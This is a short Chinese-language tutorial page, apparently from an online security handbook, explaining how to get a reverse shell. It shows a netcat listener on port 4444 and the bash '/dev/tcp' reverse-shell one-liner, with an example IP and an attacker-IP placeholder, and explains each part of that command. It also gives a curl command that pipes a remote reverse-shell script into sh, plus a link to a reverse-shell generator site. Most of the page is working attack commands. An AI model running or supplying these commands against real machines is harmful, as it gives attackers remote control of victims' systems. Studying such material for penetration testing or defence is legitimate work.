Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

反弹 Shell

首先,在攻击者机器上监听端口(如 4444),确保受害者主机能够访问攻击者机器,通常攻击者机器指具备公网 IP 地址的云服务器。

$ nc -lvp 4444 
listening on [any] 4444 ...

然后,在受害者机器上执行反向 shell 的命令。

Bash

# bash -i >& /dev/tcp/192.168.200.134/4444 0>&1
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1

参数解释:

  1. bash -i:启动一个交互式 Bash shell。
  2. >&:重定向符号,表示将标准输出(stdout)和标准错误(stderr)重定向到同一目的地(攻击者)。
  3. /dev/tcp/<ATTACKER-IP>/<PORT>:特殊的设备文件,表示与指定 IP 地址和端口的 TCP 连接。
  4. 0>&1:将标准输入(stdin)重定向到标准输出(stdout),这样目标机器可以接收来自攻击者的输入。

nc-reverseshell

其他

curl https://reverse-shell.sh/yourip:1337 | sh 

工具

https://www.revshells.com/